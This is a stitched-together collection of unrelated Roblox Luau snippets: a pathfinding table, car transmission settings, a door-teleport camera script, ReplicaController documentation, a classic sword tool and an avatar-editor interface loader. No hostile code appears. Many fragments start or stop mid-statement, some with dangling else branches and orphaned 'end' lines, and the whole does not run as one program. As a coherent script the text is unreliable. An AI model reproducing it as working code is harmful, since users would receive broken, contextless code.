--/Barrel
module.IsSuppressor = false module.IsFlashHider = true
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{69,60,41,30,56,58},t}, [49]={{69,60,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{69,60,41,30,56,58,20,19},t}, [59]={{69,60,41,59},t}, [63]={{69,60,41,30,56,58,23,62,63},t}, [34]={{69,60,41,39,35,34},t}, [21]={{69,60,41,30,56,58,20,21},t}, [48]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{69,60,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{69,60,41,39,35,34,32,31},t}, [56]={{69,60,41,30,56},t}, [29]={{69,60,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{69,60,41,39,35,34,32,31,29,28,44,45},t}, [57]={{69,60,41,30,56,57},t}, [36]={{69,60,41,39,35,37,36},t}, [25]={{69,60,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{69,61,71},t}, [20]={{69,60,41,30,56,58,20},t}, [60]={{69,60},t}, [8]={n,f}, [4]={n,f}, [75]={{69,61,71,72,76,73,75},t}, [22]={{69,60,41,30,56,58,20,21,22},t}, [74]={{69,61,71,72,76,73,74},t}, [62]={{69,60,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{69,60,41,39,35,37},t}, [2]={n,f}, [35]={{69,60,41,39,35},t}, [53]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{69,61,71,72,76,73},t}, [72]={{69,61,71,72},t}, [33]={{69,60,41,39,35,37,36,33},t}, [69]={{69},t}, [65]={{69,60,41,30,56,58,20,19,66,64,65},t}, [26]={{69,60,41,39,35,34,32,31,29,28,27,26},t}, [68]={{69,60,41,30,56,58,20,19,66,64,67,68},t}, [76]={{69,61,71,72,76},t}, [50]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{69,60,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{69,60,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{69,60,41,30,56,58,23},t}, [44]={{69,60,41,39,35,34,32,31,29,28,44},t}, [39]={{69,60,41,39},t}, [32]={{69,60,41,39,35,34,32},t}, [3]={n,f}, [30]={{69,60,41,30},t}, [51]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{69,60,41,30,56,58,20,19,66,64,67},t}, [61]={{69,61},t}, [55]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{69,60,41,39,40,38,42},t}, [40]={{69,60,41,39,40},t}, [52]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{69,60,41},t}, [17]={n,f}, [38]={{69,60,41,39,40,38},t}, [28]={{69,60,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{69,60,41,30,56,58,20,19,66,64},t}, } return r
--[=[ Utility functions involving brios and rx. Brios encapsulate the lifetime of resources, which could be expired by the time a subscription occurs. These functions allow us to manipulate the state of these at a higher order. @class RxBrioUtils ]=]
local require = require(script.Parent.loader).load(script) local Brio = require("Brio") local BrioUtils = require("BrioUtils") local Maid = require("Maid") local Observable = require("Observable") local Rx = require("Rx") local RxBrioUtils = {}
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 5.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.00 , --[[ 3 ]] 1.38 , --[[ 4 ]] 0.72 , } Tune.FDMult = 2 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Initialization
local lastActivePath = {} if game.Workspace:FindFirstChild("BasePlate") then game.Workspace.BasePlate:Destroy() end local tracksModel = Instance.new("Model") tracksModel.Name = "Tracks" tracksModel.Parent = game.Workspace function packagePathModels() local pathPackager = require(script.PathPackager) while true do local pathBase = game.Workspace:FindFirstChild("PathBase", true) if pathBase then pathPackager:PackageRoom(pathBase) else break end end end coroutine.wrap(function() packagePathModels() end)()
--!strict
local GuiService = game:GetService("GuiService") local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local Workspace = game:GetService("Workspace") local player = Players.LocalPlayer :: Player local playerScripts = player:FindFirstChild("PlayerScripts") :: PlayerScripts local playerModuleBase = playerScripts:WaitForChild("PlayerModule") :: ModuleScript local playerModule = require(playerModuleBase) :: any local playerGui = player.PlayerGui local instances = script.Parent.Instances local interior = instances:WaitForChild("Interior") local exterior = instances:WaitForChild("Exterior") local doorGui = instances.PortalDoorGui :: ScreenGui local ENTRY_ANIMATION_TIME = 0.75 local ENTRY_CAMERA_END_OFFSET = CFrame.new(0, 1, -3) * CFrame.Angles(0, math.rad(180), 0) local EXIT_ANIMATION_TIME = 0.75 local EXIT_CAMERA_START_OFFSET = CFrame.new(0, 1, 0) local EXIT_CAMERA_END_OFFSET = CFrame.new(0, 2, -3) * CFrame.Angles(math.rad(-20), 0, 0) local ENTRY_EXTERIOR_OFFSET = Vector3.new(0, 0, -3) local ENTRY_INTERIOR_OFFSET = Vector3.new(0, 0, 3) local EXIT_EXTERIOR_OFFSET = Vector3.new(0, 0, -8) local ENTRY_TWEEN_INFO = TweenInfo.new(ENTRY_ANIMATION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In) local EXIT_TWEEN_INFO = TweenInfo.new(EXIT_ANIMATION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) local isWalkingThroughDoors = false local function setCharacterControlsEnabled(enabled: boolean) -- Set desktop controls enabled through the PlayerModule local controls = playerModule:GetControls() controls:Enable(enabled) -- Set touch controls enabled GuiService.TouchControlsEnabled = enabled end local function setCameraControlsEnabled(enabled: boolean) -- Toggle between Scriptable and Custom camera types to disable or enable camera control respectively if Workspace.CurrentCamera then Workspace.CurrentCamera.CameraType = if enabled then Enum.CameraType.Custom else Enum.CameraType.Scriptable end end local function setDoorOpen(door, open: boolean) -- When a door is open, it should be able to be walked through and the proximity prompt should be disabled -- When the door is closed, the opposite applies door.Entrance.ProximityPrompt.Enabled = not open door.Entrance.CanCollide = not open end local function walkIntoDoor(character, door) local doorExteriorPosition = door.Entrance.CFrame:PointToWorldSpace(ENTRY_EXTERIOR_OFFSET) local doorInteriorPosition = door.Entrance.CFrame:PointToWorldSpace(ENTRY_INTERIOR_OFFSET) local humanoid = character:FindFirstChildOfClass("Humanoid") :: Humanoid? if humanoid then task.spawn(function() -- Walk in front of the door before walking into it humanoid:MoveTo(doorExteriorPosition) humanoid.MoveToFinished:Wait() humanoid:MoveTo(doorInteriorPosition) end) end end local function walkOutOfDoor(character, door) local doorExteriorPosition = door.Entrance.CFrame:PointToWorldSpace(EXIT_EXTERIOR_OFFSET) local humanoid = character:FindFirstChildOfClass("Humanoid") :: Humanoid? if humanoid then humanoid:MoveTo(doorExteriorPosition) end end local function zoomIntoDoor(door) local camera = Workspace.CurrentCamera :: Camera local entrance = door.Entrance :: BasePart local zoomCFrame = entrance.CFrame * ENTRY_CAMERA_END_OFFSET local cameraTween = TweenService:Create(camera, ENTRY_TWEEN_INFO, { CFrame = zoomCFrame }) cameraTween:Play() end local function zoomOutOfDoor(door) local camera = Workspace.CurrentCamera :: Camera local entrance = door.Entrance :: BasePart local zoomCFrame = entrance.CFrame * EXIT_CAMERA_END_OFFSET local cameraTween = TweenService:Create(camera, EXIT_TWEEN_INFO, { CFrame = zoomCFrame }) camera.CFrame = entrance.CFrame * EXIT_CAMERA_START_OFFSET cameraTween:Play() end local function fadeOutScreen() local frame = doorGui:FindFirstChild("Frame") :: Frame local fadeTween = TweenService:Create(frame, ENTRY_TWEEN_INFO, { BackgroundTransparency = 0 }) fadeTween:Play() end local function fadeInScreen() local frame = doorGui:FindFirstChild("Frame") :: Frame local fadeTween = TweenService:Create(frame, EXIT_TWEEN_INFO, { BackgroundTransparency = 1 }) fadeTween:Play() end local function walkThroughDoorsAsync(doorIn, doorOut) if isWalkingThroughDoors then return end if not player.Character then return end local character = player.Character :: Model isWalkingThroughDoors = true -- Disable character and camera controls setCharacterControlsEnabled(false) setCameraControlsEnabled(false) -- Disable interaction with the doors and allow them to be walked through setDoorOpen(doorIn, true) setDoorOpen(doorOut, true) -- Play the walk in, camera, and screen fade animations zoomIntoDoor(doorIn) walkIntoDoor(character, doorIn) fadeOutScreen() task.wait(ENTRY_ANIMATION_TIME) -- Teleport the character to the door they are exiting from character:PivotTo(doorOut.Entrance.CFrame) -- Play the walk out, camera, and screen fade animations zoomOutOfDoor(doorOut) walkOutOfDoor(character, doorOut) fadeInScreen() task.wait(EXIT_ANIMATION_TIME) -- Re-enable character and camera controls setCharacterControlsEnabled(true) setCameraControlsEnabled(true) -- Allow interaction with the doors and disallow them to be walked through setDoorOpen(doorIn, false) setDoorOpen(doorOut, false) isWalkingThroughDoors = false end local function initialize() exterior.Door.Entrance.ProximityPrompt.Triggered:Connect(function() walkThroughDoorsAsync(exterior.Door, interior.Door) end) interior.Door.Entrance.ProximityPrompt.Triggered:Connect(function() walkThroughDoorsAsync(interior.Door, exterior.Door) end) doorGui.Parent = playerGui end initialize()
--[[ The Module ]]
-- local BaseOcclusion: any = {} BaseOcclusion.__index = BaseOcclusion setmetatable(BaseOcclusion, { __call = function(_, ...) return BaseOcclusion.new(...) end }) function BaseOcclusion.new() local self = setmetatable({}, BaseOcclusion) return self end
-- local Madwork = _G.Madwork --[[ {Madwork} -[ReplicaController]--------------------------------------- (STANDALONE VERSION) Lua table replication achieved through write function wrapping LISTENER WARNING: Making listeners disconnect their own script connections may result in other listeners being skipped. Fix pending. WARNING: Replica update listeners are not cleaned up automatically (e.g. when their value's parent table is set to nil) unless the replica is destroyed. Either split one god replica into several replicas or carefully manage listeners with :Disconnect() to prevent memory leaks. Does not apply to destroyed replicas. Notice: Replicas are destroyed client-side when the server stops replicating the replica to the client or the server destroys the replica completely. This means that the exact replica that was previously destroyed client-side could be created again client-side (as a new object, though). Replica replication guarantees: - When the client receives first data, replica references received will have all nested replicas already loaded and accessible through Replica.Children; - When the client receives first data or receives selective replication of a top level replica, .NewReplicaSignal and .ReplicaOfClassCreated() will be fired for all replicas in the order they were created server-side from earliest to latest; Members: ReplicaController.NewReplicaSignal [ScriptSignal](Replica) -- Fired every time an replica is created client-side ReplicaController.InitialDataReceivedSignal [ScriptSignal]() -- Fired once after the client finishes receiving initial replica data from server ReplicaController.InitialDataReceived [bool] -- Set to true after the client finishes receiving initial replica data from server Functions: ReplicaController.RequestData() -- Requests the server to start sending replica data ReplicaController.ReplicaOfClassCreated(replica_class, listener) --> [ScriptConnection] listener(replica) ReplicaController.GetReplicaById(replica_id) --> replica / nil Members [Replica]: Replica.Data [table] (Read only) Table which is replicated Replica.Id [number] Unique identifier Replica.Class [string] Primary Replica identifier Replica.Tags [table] Secondary Replica identifiers Replica.Parent [Replica] or nil Replica.Children [table]: {replica, ...} Methods [Replica]: -- Dictionary update listening: (listener functions can't yield) Replica:ListenToChange(path, listener) --> [ScriptConnection] (new_value, old_value) Replica:ListenToNewKey(path, listener) --> [ScriptConnection] (new_value, new_key) * Notice: When Replica:SetValues(path, values) is used server-side, Replica:ListenToChange() and Replica:ListenToNewKey() will only be invoked with changes to the top level keys in the "values" argument passed. -- (Numeric) Array update listening: Replica:ListenToArrayInsert(path, listener) --> [ScriptConnection] (new_index, new_value) Replica:ListenToArraySet(path, listener) --> [ScriptConnection] (index, new_value) Replica:ListenToArrayRemove(path, listener) --> [ScriptConnection] (old_index, old_value) -- Write function listening: Replica:ListenToWrite(function_name, listener) --> [ScriptConnection] (params...) * Parameter description for "path": [string] = "TableMember.TableMember" -- Roblox-style path [table] = {"Players", 2312310, "Health"} -- Key array path Replica:ListenToRaw(listener) --> [ScriptConnection] (action_name, path_array, params...) -- ("SetValue", path_array, value) -- ("SetValues", path_array, values) -- ("ArrayInsert", path_array, value, new_index) -- ("ArraySet", path_array, index, value) -- ("ArrayRemove", path_array, index, old_value) -- Signals: Replica:ConnectOnClientEvent(listener) --> [ScriptConnection] (params...) -- listener functions can't yield Replica:FireServer(params...) -- Fire a signal to server-side listeners for this specific Replica -- Children: Replica:ListenToChildAdded(listener) --> [ScriptConnection] listener(replica) Replica:FindFirstChildOfClass(replica_class) --> [Replica] or nil replica_class [string] -- Debug: Replica:Identify() --> [string] -- Cleanup: Replica:IsActive() --> is_active [bool] -- Returns false if the replica was destroyed Replica:AddCleanupTask(task) -- Add cleanup task to be performed Replica:RemoveCleanupTask(task) -- Remove cleanup task * Parameter description for "Replica:AddCleanupTask()": [function] -- Function to be invoked when the Replica is destroyed (function can't yield) [RBXScriptConnection] -- Roblox script connection to be :Disconnect()'ed when the Replica is destroyed [Object] -- Object with a :Destroy() method to be destroyed when the Replica is destroyed (destruction method can't yield) -- Write function setters: (Calling outside a write function will throw an error) Replica:SetValue(path, value) Replica:SetValues(path, values) Replica:ArrayInsert(path, value) --> new_index Replica:ArraySet(path, index, value) Replica:ArrayRemove(path, index) --> removed_value Replica:Write(function_name, params...) --> return_params... --]]
local SETTINGS = { RequestDataRepeat = 10, SetterError = "[ReplicaController]: Replica setters can only be called inside write functions", } local Madwork -- Standalone Madwork reference for portable version of ReplicaService/ReplicaController do local RunService = game:GetService("RunService") local function WaitForDescendant(ancestor, instance_name, warn_name) local instance = ancestor:FindFirstChild(instance_name, true) -- Recursive if instance == nil then local start_time = os.clock() local connection connection = ancestor.DescendantAdded:Connect(function(descendant) if descendant.Name == instance_name then instance = descendant end end) while instance == nil do if start_time ~= nil and os.clock() - start_time > 1 and (RunService:IsServer() == true or game:IsLoaded() == true) then start_time = nil warn("[" .. script.Name .. "]: Missing " .. warn_name .. " \"" .. instance_name .. "\" in " .. ancestor:GetFullName() .. "; Please check setup documentation") end task.wait() end connection:Disconnect() return instance else return instance end end local RemoteEventContainer if RunService:IsServer() == true then RemoteEventContainer = Instance.new("Folder") RemoteEventContainer.Name = "ReplicaRemoteEvents" RemoteEventContainer.Parent = game:GetService("ReplicatedStorage") else RemoteEventContainer = WaitForDescendant(game:GetService("ReplicatedStorage"), "ReplicaRemoteEvents", "folder") end Madwork = { GetShared = function(package_name, item_name) -- Ignoring package_name as we're working without Madwork framework return WaitForDescendant(script.Parent, item_name, "module") end, GetModule = function(package_name, module_name) return WaitForDescendant(script.Parent, module_name, "module") end, SetupRemoteEvent = function(remote_name) if RunService:IsServer() == true then local remote_event = Instance.new("RemoteEvent") remote_event.Name = remote_name remote_event.Parent = RemoteEventContainer return remote_event else return WaitForDescendant(RemoteEventContainer, remote_name, "remote event") end end, Shared = {}, -- A Madwork package reference - ReplicaService will try to check this table } local MadworkScriptSignal = require(Madwork.GetShared("Madwork", "MadworkScriptSignal")) Madwork.NewScriptSignal = MadworkScriptSignal.NewScriptSignal Madwork.NewArrayScriptConnection = MadworkScriptSignal.NewArrayScriptConnection end
-- ROBLOX TODO: ADO-1587, add snapshot version validation -- local function validateSnapshotVersion(snapshotContents: { [string]: string) -- local version = snapshotContents:match(SNAPSHOT_VERSION_REGEXP)
--[[while (WingFlexing) do WFL.Motor.DesiredAngle = 0 WFR.Motor.DesiredAngle = 0 WFL.Motor.DesiredAngle = 0.04 WFR.Motor.DesiredAngle = 0.04 wait(math.random(1,5)) WFL.Motor.DesiredAngle = 0 WFR.Motor.DesiredAngle = 0 WFL.Motor.DesiredAngle = 0.06 WFR.Motor.DesiredAngle = 0.06 wait(math.random(1,5)) end]]
Flex.OnServerEvent:Connect(WingFlex) Straight.OnServerEvent:Connect(WingStraight)
-- conf = 0.000001*vvv
--xt = 0 else conf = 0.000016*vvv xt = hp.Value/4 end if displacement.Value <= 3000 then xans = (1.4*displacement.Value) else xans = (0.4*displacement.Value)+3000 end
-------- OMG HAX
r = game:service("RunService") local damage = 4 local slash_damage = 4 local lunge_damage = 6 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--//Parts//--
local tool = script.Parent local handle = script.Parent.Handle local hum = game.Players.LocalPlayer.Character.Humanoid local blockingval = hum.Parent.Values.Blocking
--[=[ Fired when an item is added through addItemAsync. Item ID and info table are passed to the event. @prop itemAdded RBXScriptSignal @within MerchBooth ]=]
itemEvents.itemAdded = Instance.new("BindableEvent")
--[=[ Promises, but without error handling as this screws with stack traces, using Roblox signals See: https://promisesaplus.com/ @class Promise ]=]
local RunService = game:GetService("RunService")
--- Refs ---
local menu = script.Parent local camPart = menu:WaitForChild("CamPart")
--[[ Hey, this is Cancels! Today I bring to you the Cancels CoreGui Settings, an invention by ... well ... ROBLOX. If you want to change a setting, do it like this! "true" = WILL show. "false" = WILL show. Don't mess with anything else. Bye, and cheers for taking! -Cancels --]]
Health_Bar = false
-- end --end
local function loadCostumes() costume = Costume.new(bodyFrame.Costume) maid.PageMaid:GiveTask(costume) maid.PageMaid:GiveTask(costume.Delete:Connect(function(description) promptOverlay:PromptConfirm({ Title = "Delete this outfit?", Text = "Are you sure you want to delete this outfit?" }, function() remoteEvent:FireServer("delete", description) end) end)) maid.PageMaid:GiveTask(costume.Wear:Connect(function(description) remoteEvent:FireServer("wear", description) end)) maid.PageMaid:GiveTask(function() costume = nil end) end local function loadConfig() config = Config.new(bodyFrame.Settings) maid.PageMaid:GiveTask(config) maid.PageMaid:GiveTask(function() config = nil end) end local function loadAppearance() colorList = ColorList.new(bodyFrame.Appearance.SkinTone, Colors, Wearing:GetTone()) maid.PageMaid:GiveTask(colorList) maid.PageMaid:GiveTask(colorList.ItemSelected:Connect(function(index) remoteEvent:FireServer("tone", index) end)) scale = Scale.new(bodyFrame.Appearance.Scale, Wearing:GetScale()) maid.PageMaid:GiveTask(scale) maid.PageMaid:GiveTask(scale.ScaleUpdated:Connect(function(scale, value) remoteEvent:FireServer("scale", scale, value) end)) maid.PageMaid:GiveTask(function() colorList = nil scale = nil end) end local function categorySelectionFilter(button) return button.LayoutOrder == categoryPageIndex end local function subcategorySelectionFilter(button) return searchState.assetType == QueryMap.AssetType[button.Name] end local function updateButtonSelection(buttons, filterCallback) for i, v in ipairs(buttons) do v.ColorSpring.Target = filterCallback(v.Button) and 1 or 0 end end local function subcategoryChanged(button) subcategoryPageIndex = button.LayoutOrder searchState.search = "" searchState.assetType = QueryMap.AssetType[button.Name] searchState.wearing = false search.Frame.TextBox.Text = searchState.search end local function loadSubcategory(subcategoryTabs) for i, v in ipairs(subcategoryTabs:GetChildren()) do if not v:IsA("GuiButton") then continue end --local name = string.lower(v.Name) if v.LayoutOrder == subcategoryPageIndex then subcategoryChanged(v) end local button = TabButton.new(v, function(inputObject) if searchState.assetType == QueryMap.AssetType[v.Name] then return end subcategoryChanged(v) updateButtonSelection(subcategoryButtons, subcategorySelectionFilter) catalogList:Update(true) end) table.insert(subcategoryButtons, button) end maid.PageMaid.SubPage:GiveTask(function() for i, v in ipairs(subcategoryButtons) do v:Destroy() end table.clear(subcategoryButtons) end) updateButtonSelection(subcategoryButtons, subcategorySelectionFilter) end local function categoryPageChanged() maid.PageMaid.SubPage:DoCleaning() local currentPage = subcategoryPageLayout.CurrentPage categoryPageIndex = currentPage.LayoutOrder updateButtonSelection(categoryButtons, categorySelectionFilter) --local name = string.lower(currentPage.Name) searchState.search = "" searchState.assetType = 0 searchState.wearing = false search.Frame.TextBox.Text = searchState.search if categoryPageIndex == 4 then searchState.wearing = true else loadSubcategory(currentPage) end catalogList:Update(true) end local function loadMain() maid.PageMaid.SubPage = Maid.new() for i, v in ipairs(mainHeader.CategoryTabs:GetChildren()) do if not v:IsA("GuiButton") then continue end local button = TabButton.new(v, function(inputObject) subcategoryPageIndex = 0 subcategoryPageLayout:JumpToIndex(v.LayoutOrder) end) table.insert(categoryButtons, button) end categoryPageChanged() maid.PageMaid:GiveTask(subcategoryPageLayout:GetPropertyChangedSignal("CurrentPage"):Connect(categoryPageChanged)) maid.PageMaid:GiveTask(function() for i, v in ipairs(categoryButtons) do v:Destroy() end table.clear(categoryButtons) end) end local function bodyPageChanged() maid.PageMaid:DoCleaning() local currentPage = bodyPageLayout.CurrentPage bodyPageIndex = currentPage.LayoutOrder local name = string.lower(currentPage.Name) if name == "main" then loadMain() elseif name == "settings" then loadConfig() catalogList:Update(true) elseif name == "appearance" then loadAppearance() catalogList:Update(true) elseif name == "costume" then loadCostumes() catalogList:Update(true) end end local function jumpToPage(page) if bodyPageIndex == page.LayoutOrder then bodyPageLayout:JumpToIndex(1) else bodyPageLayout:JumpTo(page) end end local function load() maid:DoCleaning() local canUse = UserCanUse:CanUse(player) if not canUse then module.PermissionFailed:Fire() return end module.Started:Fire() maid.PageMaid = Maid.new() Theme:Set(player:WaitForChild("AE_Settings"):GetAttribute("Theme")) -- TODO theme the loading page? maid:GiveTask(Theme:Bind(editorFrame, "BackgroundColor3", "Primary")) maid:GiveTask(Theme:Bind(footer, "BackgroundColor3", "Secondary")) maid:GiveTask(Theme:Bind(footer.Appearance, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(footer.Appearance.Icon, "ImageColor3", "Deselected")) maid:GiveTask(Theme:Bind(footer.Costume, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(footer.Costume.Icon, "ImageColor3", "Deselected")) maid:GiveTask(Theme:Bind(footer.Settings, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(footer.Reset, "BackgroundColor3", "Reset")) maid:GiveTask(Theme:Bind(footer.Version, "TextColor3", "Text")) maid:GiveTask(Theme:Bind(mainHeader, "BackgroundColor3", "Secondary")) for i, v in ipairs(mainHeader.CategoryTabs:GetChildren()) do if not v:IsA("GuiButton") then continue end maid:GiveTask(Theme:Bind(v, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(v, "TextColor3", "Text")) maid:GiveTask(Theme:Bind(v.Icon, "ImageColor3", "Deselected")) end maid:GiveTask(Theme:Bind(mainHeader.Search, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(mainHeader.Search.Icon, "ImageColor3", "Deselected")) maid:GiveTask(Theme:Bind(mainHeader.Search.TextBox, "TextColor3", "Text")) maid:GiveTask(Theme:Bind(mainHeader.Search.TextBox, "PlaceholderColor3", "PlaceholderText")) maid:GiveTask(Theme:Bind(mainHeader.Search.Clear, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(mainHeader.Search.Clear, "ImageColor3", "Deselected")) for i, v in ipairs(mainHeader.SubTabs:GetChildren()) do if not v:IsA("Frame") then continue end for j, w in ipairs(v:GetChildren()) do if not w:IsA("GuiButton") then continue end maid:GiveTask(Theme:Bind(w, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(w, "TextColor3", "Text")) maid:GiveTask(Theme:Bind(w.Icon, "ImageColor3", "Deselected")) end end maid:GiveTask(Theme:Bind(expandButton, "BackgroundColor3", "TabButton")) maid:GiveTask(Theme:Bind(expandButton.Icon, "ImageColor3", "Deselected")) maid:GiveTask(Theme:Bind(viewportFrame.Footer.Save, "BackgroundColor3", "Save")) maid:GiveTask(Theme:Bind(viewportFrame.Footer.Save.Icon, "ImageColor3", "Deselected")) bodyPageLayout:JumpToIndex(0) tweenSpring.Target = 1 promptOverlay = PromptOverlay.new(mainGui.Overlay) maid:GiveTask(promptOverlay) search = Search.new(mainHeader.Search, searchState) maid:GiveTask(search) catalogList = CatalogList.new(mainContainer.ScrollingFrame, CatalogData, Wearing:Get(), searchState) maid:GiveTask(catalogList) maid:GiveTask(catalogList.ViewDetails:Connect(function(data) promptOverlay:PromptPurchase(data.id) end)) maid:GiveTask(catalogList.ItemSelected:Connect(function(data, wearing) if not wearing then local assetType = QueryMap.GetOptionName("AssetType", data.assetType) if string.find(assetType, "Accessory") or assetType == "Hat" then local character = player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if not humanoid or not (humanoid.Health > 0) then return end if #humanoid:GetAccessories() >= Settings.MAX_ACCESSORIES then return end end end remoteEvent:FireServer("accessory", data.id) end)) maid:GiveTask(search.SearchChanged:Connect(function() catalogList:Update(true) end)) maid:GiveTask(footer.Reset.Activated:Connect(function(inputObject) remoteEvent:FireServer("reset") end)) maid:GiveTask(footer.Settings.Activated:Connect(function(inputObject) jumpToPage(bodyFrame.Settings) end)) maid:GiveTask(footer.Appearance.Activated:Connect(function(inputObject) jumpToPage(bodyFrame.Appearance) end)) maid:GiveTask(footer.Costume.Activated:Connect(function(inputObject) jumpToPage(bodyFrame.Costume) end)) local expandedView = false maid:GiveTask(expandButton.Activated:Connect(function(inputObject) expandedView = not expandedView tweenSpring.Target = expandedView and 0.05 or 1 expandButton.Icon.ImageRectOffset = expandedView and Vector2.new(93, 493) or Vector2.new(179, 407) end)) maid:GiveTask(viewportFrame.Footer.Save.Activated:Connect(function(inputObject) promptOverlay:PromptCostume(function(name) local folder = player:FindFirstChild("AE_Costumes") if not folder then return end if #folder:GetChildren() < Settings.MAX_COSTUME then remoteEvent:FireServer("create", name) else -- warn("too many outfits") end end) end)) maid:GiveTask(bodyPageLayout:GetPropertyChangedSignal("CurrentPage"):Connect(bodyPageChanged)) maid:GiveTask(Theme.Changed:Connect(function(theme) remoteEvent:FireServer("theme", theme) end)) maid:GiveTask(function() module.Destroyed:Fire() tweenSpring.Target = 0 expandButton.Icon.ImageRectOffset = Vector2.new(179, 407) search = nil catalogList = nil promptOverlay = nil colorList = nil scale = nil bodyPageLayout:JumpToIndex(0) end) --lastInputTypeChanged(UserInput:GetLastInputType()) --maid:GiveTask(UserInput.LastInputTypeChanged:Connect(lastInputTypeChanged)) bodyPageLayout:JumpToIndex(bodyPageIndex) module.Loaded:Fire() end remoteEvent.OnClientEvent:Connect(function(key, ...) Wearing:Update() if key == "accessory" then if catalogList then catalogList:UpdateWearing(Wearing:Get()) end elseif key == "reset" then if colorList then colorList:UpdateWearing(Wearing:GetTone()) end if catalogList then catalogList:UpdateWearing(Wearing:Get()) end if scale then for k, v in pairs(Wearing:GetScale()) do scale:UpdateWearing(k, v) end end elseif key == "tone" then if colorList then 